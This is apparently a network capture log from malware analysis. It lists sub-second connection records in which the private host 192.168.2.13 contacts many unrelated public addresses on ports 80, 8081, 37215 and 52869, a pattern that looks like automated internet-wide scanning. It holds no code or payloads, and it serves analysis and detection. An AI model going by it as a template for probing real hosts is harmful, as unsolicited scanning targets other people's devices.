Jul 20, 2024 23:01:01.403054953 CEST	43160	80	192.168.2.13	88.212.216.208
Jul 20, 2024 23:01:01.403054953 CEST	43160	80	192.168.2.13	88.212.216.208
Jul 20, 2024 23:01:01.403492928 CEST	44256	8081	192.168.2.13	27.125.93.236
Jul 20, 2024 23:01:01.403492928 CEST	44256	8081	192.168.2.13	27.125.93.236
Jul 20, 2024 23:01:01.403621912 CEST	37215	57172	157.44.27.109	192.168.2.13
Jul 20, 2024 23:01:01.403662920 CEST	57172	37215	192.168.2.13	157.44.27.109
Jul 20, 2024 23:01:01.403973103 CEST	52869	55744	137.137.144.212	192.168.2.13
Jul 20, 2024 23:01:01.404046059 CEST	55744	52869	192.168.2.13	137.137.144.212
Jul 20, 2024 23:01:01.404325008 CEST	41666	80	192.168.2.13	88.39.169.246
Jul 20, 2024 23:01:01.404325008 CEST	51276	80	192.168.2.13	88.65.22.95
Jul 20, 2024 23:01:01.404325008 CEST	42842	80	192.168.2.13	88.129.108.32
Jul 20, 2024 23:01:01.404325008 CEST	42842	80	192.168.2.13	88.129.108.32
Jul 20, 2024 23:01:01.404325008 CEST	57070	80	192.168.2.13	88.165.239.52
Jul 20, 2024 23:01:01.405132055 CEST	57768	80	192.168.2.13	88.165.239.52
Jul 20, 2024 23:01:01.405158043 CEST	41910	37215	192.168.2.13	197.25.72.152
Jul 20, 2024 23:01:01.405728102 CEST	37215	58484	157.117.186.115	192.168.2.13
Jul 20, 2024 23:01:01.405806065 CEST	80	43862	88.212.216.208	192.168.2.13
Jul 20, 2024 23:01:01.405857086 CEST	43862	80	192.168.2.13	88.212.216.208
Jul 20, 2024 23:01:01.405920029 CEST	58484	37215	192.168.2.13	157.117.186.115
Jul 20, 2024 23:01:01.406075001 CEST	8081	43502	147.230.135.122	192.168.2.13
Jul 20, 2024 23:01:01.406099081 CEST	45038	8081	192.168.2.13	27.125.93.236
Jul 20, 2024 23:01:01.406109095 CEST	43502	8081	192.168.2.13	147.230.135.122
Jul 20, 2024 23:01:01.406645060 CEST	57070	80	192.168.2.13	88.165.239.52
Jul 20, 2024 23:01:01.407032967 CEST	8081	36114	119.52.87.11	192.168.2.13
Jul 20, 2024 23:01:01.407069921 CEST	36114	8081	192.168.2.13	119.52.87.11
Jul 20, 2024 23:01:01.407628059 CEST	8081	42722	147.230.135.122	192.168.2.13
Jul 20, 2024 23:01:01.408312082 CEST	37700	80	192.168.2.13	88.73.253.215
Jul 20, 2024 23:01:01.408312082 CEST	37700	80	192.168.2.13	88.73.253.215
Jul 20, 2024 23:01:01.408477068 CEST	80	43160	88.212.216.208	192.168.2.13
Jul 20, 2024 23:01:01.408684969 CEST	35948	52869	192.168.2.13	63.139.62.111
Jul 20, 2024 23:01:01.408951998 CEST	8081	44256	27.125.93.236	192.168.2.13
Jul 20, 2024 23:01:01.409360886 CEST	51456	8081	192.168.2.13	76.141.184.226
Jul 20, 2024 23:01:01.409362078 CEST	51456	8081	192.168.2.13	76.141.184.226
Jul 20, 2024 23:01:01.409593105 CEST	80	51276	88.65.22.95	192.168.2.13
Jul 20, 2024 23:01:01.409641027 CEST	51276	80	192.168.2.13	88.65.22.95
Jul 20, 2024 23:01:01.409760952 CEST	80	42842	88.129.108.32	192.168.2.13
Jul 20, 2024 23:01:01.410366058 CEST	80	57768	88.165.239.52	192.168.2.13
Jul 20, 2024 23:01:01.410473108 CEST	57768	80	192.168.2.13	88.165.239.52
Jul 20, 2024 23:01:01.410922050 CEST	37215	41910	197.25.72.152	192.168.2.13
Jul 20, 2024 23:01:01.410960913 CEST	41910	37215	192.168.2.13	197.25.72.152
Jul 20, 2024 23:01:01.411041975 CEST	38398	80	192.168.2.13	88.73.253.215
Jul 20, 2024 23:01:01.411184072 CEST	59794	37215	192.168.2.13	157.122.210.70
Jul 20, 2024 23:01:01.411711931 CEST	8081	45038	27.125.93.236	192.168.2.13
Jul 20, 2024 23:01:01.411828995 CEST	45038	8081	192.168.2.13	27.125.93.236
Jul 20, 2024 23:01:01.411972046 CEST	52240	8081	192.168.2.13	76.141.184.226
Jul 20, 2024 23:01:01.412374973 CEST	80	57070	88.165.239.52	192.168.2.13
Jul 20, 2024 23:01:01.413578987 CEST	58002	80	192.168.2.13	88.28.77.235
Jul 20, 2024 23:01:01.413578987 CEST	58002	80	192.168.2.13	88.28.77.235
Jul 20, 2024 23:01:01.413583994 CEST	80	37700	88.73.253.215	192.168.2.13
Jul 20, 2024 23:01:01.414061069 CEST	52869	35948	63.139.62.111	192.168.2.13
Jul 20, 2024 23:01:01.414223909 CEST	35948	52869	192.168.2.13	63.139.62.111
Jul 20, 2024 23:01:01.414824963 CEST	8081	51456	76.141.184.226	192.168.2.13
Jul 20, 2024 23:01:01.414877892 CEST	33180	8081	192.168.2.13	18.15.144.190
Jul 20, 2024 23:01:01.414877892 CEST	33180	8081	192.168.2.13	18.15.144.190
Jul 20, 2024 23:01:01.416207075 CEST	80	38398	88.73.253.215	192.168.2.13
Jul 20, 2024 23:01:01.416244984 CEST	38398	80	192.168.2.13	88.73.253.215
Jul 20, 2024 23:01:01.416474104 CEST	58700	80	192.168.2.13	88.28.77.235
Jul 20, 2024 23:01:01.416599035 CEST	41902	37215	192.168.2.13	197.80.112.192
Jul 20, 2024 23:01:01.416600943 CEST	37215	59794	157.122.210.70	192.168.2.13
Jul 20, 2024 23:01:01.416610956 CEST	80	51950	88.74.83.5	192.168.2.13
Jul 20, 2024 23:01:01.416841030 CEST	59794	37215	192.168.2.13	157.122.210.70
Jul 20, 2024 23:01:01.417124033 CEST	8081	52240	76.141.184.226	192.168.2.13
Jul 20, 2024 23:01:01.417180061 CEST	52240	8081	192.168.2.13	76.141.184.226
Jul 20, 2024 23:01:01.417237997 CEST	33966	8081	192.168.2.13	18.15.144.190
Jul 20, 2024 23:01:01.418346882 CEST	52282	52869	192.168.2.13	47.21.202.187
Jul 20, 2024 23:01:01.418697119 CEST	80	58002	88.28.77.235	192.168.2.13
Jul 20, 2024 23:01:01.419704914 CEST	57134	80	192.168.2.13	88.251.60.32
Jul 20, 2024 23:01:01.419704914 CEST	57134	80	192.168.2.13	88.251.60.32
Jul 20, 2024 23:01:01.420432091 CEST	35360	8081	192.168.2.13	211.23.10.210
Jul 20, 2024 23:01:01.420438051 CEST	8081	33180	18.15.144.190	192.168.2.13
Jul 20, 2024 23:01:01.420569897 CEST	35360	8081	192.168.2.13	211.23.10.210
Jul 20, 2024 23:01:01.421554089 CEST	80	58700	88.28.77.235	192.168.2.13
Jul 20, 2024 23:01:01.421590090 CEST	58700	80	192.168.2.13	88.28.77.235
Jul 20, 2024 23:01:01.422010899 CEST	37215	41902	197.80.112.192	192.168.2.13
Jul 20, 2024 23:01:01.422049046 CEST	41902	37215	192.168.2.13	197.80.112.192
Jul 20, 2024 23:01:01.422316074 CEST	57834	80	192.168.2.13	88.251.60.32
Jul 20, 2024 23:01:01.422512054 CEST	8081	33966	18.15.144.190	192.168.2.13
Jul 20, 2024 23:01:01.422540903 CEST	38806	37215	192.168.2.13	204.12.39.60
Jul 20, 2024 23:01:01.422549009 CEST	33966	8081	192.168.2.13	18.15.144.190
Jul 20, 2024 23:01:01.422930002 CEST	36148	8081	192.168.2.13	211.23.10.210
Jul 20, 2024 23:01:01.423439980 CEST	52869	52282	47.21.202.187	192.168.2.13
Jul 20, 2024 23:01:01.423475027 CEST	52282	52869	192.168.2.13	47.21.202.187
Jul 20, 2024 23:01:01.424638033 CEST	80	50570	88.65.22.95	192.168.2.13
Jul 20, 2024 23:01:01.424763918 CEST	8081	56376	141.23.130.76	192.168.2.13
Jul 20, 2024 23:01:01.424772978 CEST	8081	43562	135.188.25.100	192.168.2.13
Jul 20, 2024 23:01:01.424768925 CEST	38690	80	192.168.2.13	88.92.108.28
Jul 20, 2024 23:01:01.424768925 CEST	38690	80	192.168.2.13	88.92.108.28
Jul 20, 2024 23:01:01.424782038 CEST	80	42722	88.2.59.118	192.168.2.13
Jul 20, 2024 23:01:01.424789906 CEST	8081	51014	105.250.179.123	192.168.2.13
Jul 20, 2024 23:01:01.424798012 CEST	80	58788	88.196.158.1	192.168.2.13
Jul 20, 2024 23:01:01.424954891 CEST	80	57134	88.251.60.32	192.168.2.13
Jul 20, 2024 23:01:01.425894976 CEST	8081	35360	211.23.10.210	192.168.2.13
Jul 20, 2024 23:01:01.426218033 CEST	43834	8081	192.168.2.13	207.193.20.97
Jul 20, 2024 23:01:01.426218033 CEST	43834	8081	192.168.2.13	207.193.20.97
Jul 20, 2024 23:01:01.427318096 CEST	80	57834	88.251.60.32	192.168.2.13
Jul 20, 2024 23:01:01.427356958 CEST	57834	80	192.168.2.13	88.251.60.32
Jul 20, 2024 23:01:01.427980900 CEST	37215	38806	204.12.39.60	192.168.2.13
Jul 20, 2024 23:01:01.428030968 CEST	38806	37215	192.168.2.13	204.12.39.60
Jul 20, 2024 23:01:01.428386927 CEST	8081	36148	211.23.10.210	192.168.2.13
Jul 20, 2024 23:01:01.428450108 CEST	39388	80	192.168.2.13	88.92.108.28
Jul 20, 2024 23:01:01.428461075 CEST	36148	8081	192.168.2.13	211.23.10.210
Jul 20, 2024 23:01:01.428500891 CEST	37696	37215	192.168.2.13	197.170.0.226
Jul 20, 2024 23:01:01.428775072 CEST	49424	52869	192.168.2.13	4.4.167.103
Jul 20, 2024 23:01:01.429373026 CEST	44626	8081	192.168.2.13	207.193.20.97
Jul 20, 2024 23:01:01.430006027 CEST	80	38690	88.92.108.28	192.168.2.13
Jul 20, 2024 23:01:01.431216002 CEST	57236	80	192.168.2.13	88.155.246.34
Jul 20, 2024 23:01:01.431216002 CEST	57236	80	192.168.2.13	88.155.246.34
Jul 20, 2024 23:01:01.431478024 CEST	8081	43834	207.193.20.97	192.168.2.13
Jul 20, 2024 23:01:01.432030916 CEST	37466	8081	192.168.2.13	191.100.108.229
Jul 20, 2024 23:01:01.432101965 CEST	37466	8081	192.168.2.13	191.100.108.229
Jul 20, 2024 23:01:01.434061050 CEST	37215	37696	197.170.0.226	192.168.2.13
Jul 20, 2024 23:01:01.434107065 CEST	37696	37215	192.168.2.13	197.170.0.226
Jul 20, 2024 23:01:01.434264898 CEST	57936	80	192.168.2.13	88.155.246.34
Jul 20, 2024 23:01:01.434322119 CEST	52869	49424	4.4.167.103	192.168.2.13
Jul 20, 2024 23:01:01.434325933 CEST	43246	37215	192.168.2.13	157.181.19.73
Jul 20, 2024 23:01:01.434492111 CEST	80	39388	88.92.108.28	192.168.2.13
Jul 20, 2024 23:01:01.434561968 CEST	39388	80	192.168.2.13	88.92.108.28
Jul 20, 2024 23:01:01.434832096 CEST	49424	52869	192.168.2.13	4.4.167.103
Jul 20, 2024 23:01:01.435122967 CEST	8081	44626	207.193.20.97	192.168.2.13
Jul 20, 2024 23:01:01.435301065 CEST	38260	8081	192.168.2.13	191.100.108.229
Jul 20, 2024 23:01:01.435307026 CEST	44626	8081	192.168.2.13	207.193.20.97
Jul 20, 2024 23:01:01.436671972 CEST	80	57236	88.155.246.34	192.168.2.13
Jul 20, 2024 23:01:01.437182903 CEST	8081	37466	191.100.108.229	192.168.2.13
Jul 20, 2024 23:01:01.437457085 CEST	50314	80	192.168.2.13	88.201.141.17
Jul 20, 2024 23:01:01.437457085 CEST	50314	80	192.168.2.13	88.201.141.17
Jul 20, 2024 23:01:01.438939095 CEST	34298	8081	192.168.2.13	14.129.83.80
Jul 20, 2024 23:01:01.438939095 CEST	34298	8081	192.168.2.13	14.129.83.80
Jul 20, 2024 23:01:01.439671993 CEST	37106	52869	192.168.2.13	62.126.184.91
Jul 20, 2024 23:01:01.439774036 CEST	80	57936	88.155.246.34	192.168.2.13
Jul 20, 2024 23:01:01.439821959 CEST	57936	80	192.168.2.13	88.155.246.34
Jul 20, 2024 23:01:01.439908981 CEST	37215	43246	157.181.19.73	192.168.2.13
Jul 20, 2024 23:01:01.439959049 CEST	43246	37215	192.168.2.13	157.181.19.73
Jul 20, 2024 23:01:01.440315008 CEST	51016	80	192.168.2.13	88.201.141.17
Jul 20, 2024 23:01:01.440642118 CEST	8081	35646	85.247.110.68	192.168.2.13
Jul 20, 2024 23:01:01.440649986 CEST	40674	37215	192.168.2.13	41.156.209.55
Jul 20, 2024 23:01:01.440650940 CEST	8081	38260	191.100.108.229	192.168.2.13
Jul 20, 2024 23:01:01.440931082 CEST	35096	8081	192.168.2.13	14.129.83.80
Jul 20, 2024 23:01:01.440960884 CEST	38260	8081	192.168.2.13	191.100.108.229
Jul 20, 2024 23:01:01.442545891 CEST	80	50314	88.201.141.17	192.168.2.13
Jul 20, 2024 23:01:01.443514109 CEST	47496	80	192.168.2.13	88.131.43.170
Jul 20, 2024 23:01:01.443514109 CEST	47496	80	192.168.2.13	88.131.43.170
Jul 20, 2024 23:01:01.444227934 CEST	8081	34298	14.129.83.80	192.168.2.13
Jul 20, 2024 23:01:01.444628000 CEST	38268	8081	192.168.2.13	79.65.232.86
Jul 20, 2024 23:01:01.444751978 CEST	38268	8081	192.168.2.13	79.65.232.86
Jul 20, 2024 23:01:01.444789886 CEST	52869	37106	62.126.184.91	192.168.2.13
Jul 20, 2024 23:01:01.444844961 CEST	37106	52869	192.168.2.13	62.126.184.91
Jul 20, 2024 23:01:01.445470095 CEST	80	51016	88.201.141.17	192.168.2.13
Jul 20, 2024 23:01:01.445544004 CEST	51016	80	192.168.2.13	88.201.141.17
Jul 20, 2024 23:01:01.445909977 CEST	48198	80	192.168.2.13	88.131.43.170
Jul 20, 2024 23:01:01.446079969 CEST	37215	40674	41.156.209.55	192.168.2.13
Jul 20, 2024 23:01:01.446146965 CEST	40674	37215	192.168.2.13	41.156.209.55
Jul 20, 2024 23:01:01.446157932 CEST	49966	37215	192.168.2.13	197.13.115.180
Jul 20, 2024 23:01:01.446186066 CEST	8081	35096	14.129.83.80	192.168.2.13
Jul 20, 2024 23:01:01.446278095 CEST	35096	8081	192.168.2.13	14.129.83.80
Jul 20, 2024 23:01:01.447457075 CEST	39066	8081	192.168.2.13	79.65.232.86
Jul 20, 2024 23:01:01.448606968 CEST	8081	35338	119.52.87.11	192.168.2.13
Jul 20, 2024 23:01:01.448616028 CEST	80	43160	88.212.216.208	192.168.2.13
Jul 20, 2024 23:01:01.448623896 CEST	8081	42722	147.230.135.122	192.168.2.13
Jul 20, 2024 23:01:01.448734045 CEST	57146	80	192.168.2.13	88.208.93.106
Jul 20, 2024 23:01:01.448734045 CEST	57146	80	192.168.2.13	88.208.93.106
Jul 20, 2024 23:01:01.449203968 CEST	80	47496	88.131.43.170	192.168.2.13
Jul 20, 2024 23:01:01.449243069 CEST	40936	52869	192.168.2.13	171.117.89.236
Jul 20, 2024 23:01:01.449815035 CEST	8081	38268	79.65.232.86	192.168.2.13
Jul 20, 2024 23:01:01.449995041 CEST	47008	8081	192.168.2.13	24.253.166.170
Jul 20, 2024 23:01:01.449995041 CEST	47008	8081	192.168.2.13	24.253.166.170
Jul 20, 2024 23:01:01.451109886 CEST	80	48198	88.131.43.170	192.168.2.13
Jul 20, 2024 23:01:01.451164961 CEST	48198	80	192.168.2.13	88.131.43.170
Jul 20, 2024 23:01:01.451962948 CEST	37215	49966	197.13.115.180	192.168.2.13
Jul 20, 2024 23:01:01.452009916 CEST	49966	37215	192.168.2.13	197.13.115.180
Jul 20, 2024 23:01:01.452105045 CEST	57850	80	192.168.2.13	88.208.93.106
Jul 20, 2024 23:01:01.452265978 CEST	46610	37215	192.168.2.13	221.202.160.22
Jul 20, 2024 23:01:01.452727079 CEST	47810	8081	192.168.2.13	24.253.166.170
Jul 20, 2024 23:01:01.453068972 CEST	8081	39066	79.65.232.86	192.168.2.13
Jul 20, 2024 23:01:01.453155994 CEST	39066	8081	192.168.2.13	79.65.232.86
Jul 20, 2024 23:01:01.454459906 CEST	80	57146	88.208.93.106	192.168.2.13
Jul 20, 2024 23:01:01.454483986 CEST	52869	40936	171.117.89.236	192.168.2.13
Jul 20, 2024 23:01:01.454516888 CEST	37580	80	192.168.2.13	88.150.117.231
Jul 20, 2024 23:01:01.454516888 CEST	37580	80	192.168.2.13	88.150.117.231
Jul 20, 2024 23:01:01.454516888 CEST	40936	52869	192.168.2.13	171.117.89.236
Jul 20, 2024 23:01:01.455442905 CEST	8081	47008	24.253.166.170	192.168.2.13
Jul 20, 2024 23:01:01.455568075 CEST	38432	8081	192.168.2.13	13.185.79.229
Jul 20, 2024 23:01:01.455568075 CEST	38432	8081	192.168.2.13	13.185.79.229
Jul 20, 2024 23:01:01.456902981 CEST	80	57070	88.165.239.52	192.168.2.13
Jul 20, 2024 23:01:01.457097054 CEST	80	42842	88.129.108.32	192.168.2.13
Jul 20, 2024 23:01:01.457106113 CEST	8081	44256	27.125.93.236	192.168.2.13
Jul 20, 2024 23:01:01.457113981 CEST	8081	51456	76.141.184.226	192.168.2.13
Jul 20, 2024 23:01:01.457122087 CEST	80	37700	88.73.253.215	192.168.2.13
Jul 20, 2024 23:01:01.457217932 CEST	38284	80	192.168.2.13	88.150.117.231
Jul 20, 2024 23:01:01.457324982 CEST	32842	37215	192.168.2.13	157.204.6.4
Jul 20, 2024 23:01:01.457858086 CEST	80	57850	88.208.93.106	192.168.2.13
Jul 20, 2024 23:01:01.457905054 CEST	57850	80	192.168.2.13	88.208.93.106
Jul 20, 2024 23:01:01.458058119 CEST	39234	8081	192.168.2.13	13.185.79.229
Jul 20, 2024 23:01:01.458381891 CEST	37215	46610	221.202.160.22	192.168.2.13
Jul 20, 2024 23:01:01.458400011 CEST	8081	47810	24.253.166.170	192.168.2.13
Jul 20, 2024 23:01:01.458419085 CEST	46610	37215	192.168.2.13	221.202.160.22
Jul 20, 2024 23:01:01.458435059 CEST	47810	8081	192.168.2.13	24.253.166.170
Jul 20, 2024 23:01:01.459847927 CEST	80	37580	88.150.117.231	192.168.2.13
Jul 20, 2024 23:01:01.459870100 CEST	51126	80	192.168.2.13	88.155.204.21
Jul 20, 2024 23:01:01.459871054 CEST	51126	80	192.168.2.13	88.155.204.21
Jul 20, 2024 23:01:01.460073948 CEST	43568	52869	192.168.2.13	205.130.81.109
Jul 20, 2024 23:01:01.460613012 CEST	8081	38432	13.185.79.229	192.168.2.13
Jul 20, 2024 23:01:01.460767984 CEST	8081	33180	18.15.144.190	192.168.2.13
Jul 20, 2024 23:01:01.460874081 CEST	80	58002	88.28.77.235	192.168.2.13
Jul 20, 2024 23:01:01.460964918 CEST	37736	8081	192.168.2.13	117.177.164.2
Jul 20, 2024 23:01:01.460964918 CEST	37736	8081	192.168.2.13	117.177.164.2
Jul 20, 2024 23:01:01.462249041 CEST	80	38284	88.150.117.231	192.168.2.13
Jul 20, 2024 23:01:01.462290049 CEST	38284	80	192.168.2.13	88.150.117.231
Jul 20, 2024 23:01:01.462388039 CEST	37215	32842	157.204.6.4	192.168.2.13
Jul 20, 2024 23:01:01.462418079 CEST	32842	37215	192.168.2.13	157.204.6.4
Jul 20, 2024 23:01:01.463289022 CEST	8081	39234	13.185.79.229	192.168.2.13
Jul 20, 2024 23:01:01.463361025 CEST	51832	80	192.168.2.13	88.155.204.21
Jul 20, 2024 23:01:01.463412046 CEST	39234	8081	192.168.2.13	13.185.79.229
Jul 20, 2024 23:01:01.463491917 CEST	32996	37215	192.168.2.13	197.26.157.201
Jul 20, 2024 23:01:01.463876009 CEST	38542	8081	192.168.2.13	117.177.164.2
Jul 20, 2024 23:01:01.465266943 CEST	80	51126	88.155.204.21	192.168.2.13
Jul 20, 2024 23:01:01.465395927 CEST	52869	43568	205.130.81.109	192.168.2.13
Jul 20, 2024 23:01:01.465464115 CEST	43568	52869	192.168.2.13	205.130.81.109
Jul 20, 2024 23:01:01.465779066 CEST	59174	80	192.168.2.13	88.9.113.163
Jul 20, 2024 23:01:01.465779066 CEST	59174	80	192.168.2.13	88.9.113.163
Jul 20, 2024 23:01:01.466098070 CEST	8081	37736	117.177.164.2	192.168.2.13
Jul 20, 2024 23:01:01.466747999 CEST	58180	8081	192.168.2.13	160.152.72.177
Jul 20, 2024 23:01:01.466864109 CEST	58180	8081	192.168.2.13	160.152.72.177
Jul 20, 2024 23:01:01.468754053 CEST	59880	80	192.168.2.13	88.9.113.163
Jul 20, 2024 23:01:01.468838930 CEST	80	51832	88.155.204.21	192.168.2.13
Jul 20, 2024 23:01:01.468863010 CEST	51832	80	192.168.2.13	88.155.204.21
Jul 20, 2024 23:01:01.468892097 CEST	8081	35360	211.23.10.210	192.168.2.13
Jul 20, 2024 23:01:01.468899965 CEST	80	57134	88.251.60.32	192.168.2.13
Jul 20, 2024 23:01:01.469053984 CEST	50010	37215	192.168.2.13	197.215.77.6
Jul 20, 2024 23:01:01.469212055 CEST	42424	52869	192.168.2.13	170.23.175.88
Jul 20, 2024 23:01:01.469249010 CEST	37215	32996	197.26.157.201	192.168.2.13
Jul 20, 2024 23:01:01.469290972 CEST	32996	37215	192.168.2.13	197.26.157.201
Jul 20, 2024 23:01:01.469475031 CEST	8081	38542	117.177.164.2	192.168.2.13
Jul 20, 2024 23:01:01.469516039 CEST	38542	8081	192.168.2.13	117.177.164.2
Jul 20, 2024 23:01:01.469943047 CEST	58988	8081	192.168.2.13	160.152.72.177
Jul 20, 2024 23:01:01.471231937 CEST	80	59174	88.9.113.163	192.168.2.13
Jul 20, 2024 23:01:01.472280025 CEST	44628	80	192.168.2.13	88.244.245.204
Jul 20, 2024 23:01:01.472280025 CEST	44628	80	192.168.2.13	88.244.245.204
Jul 20, 2024 23:01:01.472382069 CEST	8081	58180	160.152.72.177	192.168.2.13
Jul 20, 2024 23:01:01.472831964 CEST	8081	43834	207.193.20.97	192.168.2.13
Jul 20, 2024 23:01:01.472840071 CEST	80	38690	88.92.108.28	192.168.2.13
Jul 20, 2024 23:01:01.473368883 CEST	57000	8081	192.168.2.13	37.95.21.201
Jul 20, 2024 23:01:01.473368883 CEST	57000	8081	192.168.2.13	37.95.21.201
Jul 20, 2024 23:01:01.474152088 CEST	80	59880	88.9.113.163	192.168.2.13
Jul 20, 2024 23:01:01.474200964 CEST	59880	80	192.168.2.13	88.9.113.163
Jul 20, 2024 23:01:01.474400043 CEST	80	45212	88.132.15.37	192.168.2.13
Jul 20, 2024 23:01:01.474498987 CEST	37215	50010	197.215.77.6	192.168.2.13
Jul 20, 2024 23:01:01.474535942 CEST	50010	37215	192.168.2.13	197.215.77.6
Jul 20, 2024 23:01:01.474812984 CEST	52869	42424	170.23.175.88	192.168.2.13
Jul 20, 2024 23:01:01.474886894 CEST	42424	52869	192.168.2.13	170.23.175.88
Jul 20, 2024 23:01:01.475779057 CEST	45336	80	192.168.2.13	88.244.245.204
Jul 20, 2024 23:01:01.476351976 CEST	38878	37215	192.168.2.13	41.66.205.159
Jul 20, 2024 23:01:01.476557016 CEST	45212	80	192.168.2.13	88.132.15.37
Jul 20, 2024 23:01:01.476656914 CEST	8081	58988	160.152.72.177	192.168.2.13
Jul 20, 2024 23:01:01.476695061 CEST	58988	8081	192.168.2.13	160.152.72.177
Jul 20, 2024 23:01:01.477556944 CEST	57810	8081	192.168.2.13	37.95.21.201
Jul 20, 2024 23:01:01.477957964 CEST	80	44628	88.244.245.204	192.168.2.13
Jul 20, 2024 23:01:01.479173899 CEST	8081	57000	37.95.21.201	192.168.2.13
Jul 20, 2024 23:01:01.480202913 CEST	45486	80	192.168.2.13	88.207.154.173
Jul 20, 2024 23:01:01.480202913 CEST	45486	80	192.168.2.13	88.207.154.173
Jul 20, 2024 23:01:01.480668068 CEST	52869	57966	187.123.127.227	192.168.2.13
Jul 20, 2024 23:01:01.481411934 CEST	46960	8081	192.168.2.13	104.121.55.224
Jul 20, 2024 23:01:01.481411934 CEST	46960	8081	192.168.2.13	104.121.55.224
Jul 20, 2024 23:01:01.482168913 CEST	80	45336	88.244.245.204	192.168.2.13
Jul 20, 2024 23:01:01.482208967 CEST	45336	80	192.168.2.13	88.244.245.204
Jul 20, 2024 23:01:01.482687950 CEST	42430	52869	192.168.2.13	176.151.180.197
Jul 20, 2024 23:01:01.483325005 CEST	37215	38878	41.66.205.159	192.168.2.13
Jul 20, 2024 23:01:01.483376980 CEST	38878	37215	192.168.2.13	41.66.205.159
Jul 20, 2024 23:01:01.483602047 CEST	46196	80	192.168.2.13	88.207.154.173
Jul 20, 2024 23:01:01.483787060 CEST	41994	37215	192.168.2.13	25.125.187.17
Jul 20, 2024 23:01:01.484332085 CEST	8081	57810	37.95.21.201	192.168.2.13
Jul 20, 2024 23:01:01.484442949 CEST	57810	8081	192.168.2.13	37.95.21.201
Jul 20, 2024 23:01:01.484442949 CEST	57966	52869	192.168.2.13	187.123.127.227
Jul 20, 2024 23:01:01.484814882 CEST	47774	8081	192.168.2.13	104.121.55.224
Jul 20, 2024 23:01:01.485094070 CEST	8081	37466	191.100.108.229	192.168.2.13
Jul 20, 2024 23:01:01.485104084 CEST	80	57236	88.155.246.34	192.168.2.13
Jul 20, 2024 23:01:01.485111952 CEST	8081	34298	14.129.83.80	192.168.2.13
Jul 20, 2024 23:01:01.485121965 CEST	80	50314	88.201.141.17	192.168.2.13
Jul 20, 2024 23:01:01.486654043 CEST	80	45486	88.207.154.173	192.168.2.13
Jul 20, 2024 23:01:01.486880064 CEST	57816	80	192.168.2.13	88.211.132.181
Jul 20, 2024 23:01:01.486880064 CEST	57816	80	192.168.2.13	88.211.132.181
Jul 20, 2024 23:01:01.487696886 CEST	8081	46960	104.121.55.224	192.168.2.13
Jul 20, 2024 23:01:01.487905025 CEST	53442	8081	192.168.2.13	172.169.195.21
Jul 20, 2024 23:01:01.487905025 CEST	53442	8081	192.168.2.13	172.169.195.21
Jul 20, 2024 23:01:01.488277912 CEST	52869	42430	176.151.180.197	192.168.2.13
Jul 20, 2024 23:01:01.488450050 CEST	42430	52869	192.168.2.13	176.151.180.197
Jul 20, 2024 23:01:01.488749981 CEST	80	46196	88.207.154.173	192.168.2.13
Jul 20, 2024 23:01:01.489116907 CEST	46196	80	192.168.2.13	88.207.154.173
Jul 20, 2024 23:01:01.489510059 CEST	37215	41994	25.125.187.17	192.168.2.13
Jul 20, 2024 23:01:01.489547968 CEST	41994	37215	192.168.2.13	25.125.187.17
Jul 20, 2024 23:01:01.490092993 CEST	58526	80	192.168.2.13	88.211.132.181
Jul 20, 2024 23:01:01.490145922 CEST	56938	37215	192.168.2.13	41.101.96.17
Jul 20, 2024 23:01:01.490784883 CEST	54258	8081	192.168.2.13	172.169.195.21
Jul 20, 2024 23:01:01.490814924 CEST	8081	47774	104.121.55.224	192.168.2.13
Jul 20, 2024 23:01:01.490852118 CEST	47774	8081	192.168.2.13	104.121.55.224
Jul 20, 2024 23:01:01.491911888 CEST	80	57816	88.211.132.181	192.168.2.13
Jul 20, 2024 23:01:01.492460966 CEST	50134	80	192.168.2.13	88.191.187.105
Jul 20, 2024 23:01:01.492460966 CEST	50134	80	192.168.2.13	88.191.187.105
Jul 20, 2024 23:01:01.492866993 CEST	59158	52869	192.168.2.13	164.8.255.47
Jul 20, 2024 23:01:01.494234085 CEST	41150	8081	192.168.2.13	217.32.72.67
Jul 20, 2024 23:01:01.494234085 CEST	41150	8081	192.168.2.13	217.32.72.67
Jul 20, 2024 23:01:01.496119022 CEST	50844	80	192.168.2.13	88.191.187.105
Jul 20, 2024 23:01:01.496260881 CEST	35252	37215	192.168.2.13	170.253.218.179
Jul 20, 2024 23:01:01.497133970 CEST	41968	8081	192.168.2.13	217.32.72.67
Jul 20, 2024 23:01:01.498991966 CEST	59964	80	192.168.2.13	88.149.54.132
Jul 20, 2024 23:01:01.498991966 CEST	59964	80	192.168.2.13	88.149.54.132
Jul 20, 2024 23:01:01.499085903 CEST	8081	38268	79.65.232.86	192.168.2.13
Jul 20, 2024 23:01:01.499104977 CEST	80	47496	88.131.43.170	192.168.2.13
Jul 20, 2024 23:01:01.499295950 CEST	8081	47008	24.253.166.170	192.168.2.13
Jul 20, 2024 23:01:01.499313116 CEST	80	57146	88.208.93.106	192.168.2.13
Jul 20, 2024 23:01:01.499475002 CEST	8081	53442	172.169.195.21	192.168.2.13
Jul 20, 2024 23:01:01.499739885 CEST	80	58526	88.211.132.181	192.168.2.13
Jul 20, 2024 23:01:01.499785900 CEST	37215	56938	41.101.96.17	192.168.2.13
Jul 20, 2024 23:01:01.499790907 CEST	58526	80	192.168.2.13	88.211.132.181
Jul 20, 2024 23:01:01.499794960 CEST	8081	54258	172.169.195.21	192.168.2.13
Jul 20, 2024 23:01:01.499811888 CEST	56938	37215	192.168.2.13	41.101.96.17
Jul 20, 2024 23:01:01.499845982 CEST	80	50134	88.191.187.105	192.168.2.13
Jul 20, 2024 23:01:01.499854088 CEST	52869	59158	164.8.255.47	192.168.2.13
Jul 20, 2024 23:01:01.500101089 CEST	8081	41150	217.32.72.67	192.168.2.13
Jul 20, 2024 23:01:01.500174046 CEST	54258	8081	192.168.2.13	172.169.195.21
Jul 20, 2024 23:01:01.500174046 CEST	54362	8081	192.168.2.13	116.20.21.221
Jul 20, 2024 23:01:01.500174046 CEST	54362	8081	192.168.2.13	116.20.21.221
Jul 20, 2024 23:01:01.500243902 CEST	59158	52869	192.168.2.13	164.8.255.47
Jul 20, 2024 23:01:01.501420021 CEST	60674	80	192.168.2.13	88.149.54.132
Jul 20, 2024 23:01:01.501504898 CEST	36476	37215	192.168.2.13	157.141.29.177
Jul 20, 2024 23:01:01.501924038 CEST	55182	8081	192.168.2.13	116.20.21.221
Jul 20, 2024 23:01:01.502226114 CEST	80	50844	88.191.187.105	192.168.2.13
Jul 20, 2024 23:01:01.502330065 CEST	37215	35252	170.253.218.179	192.168.2.13
Jul 20, 2024 23:01:01.502347946 CEST	50844	80	192.168.2.13	88.191.187.105
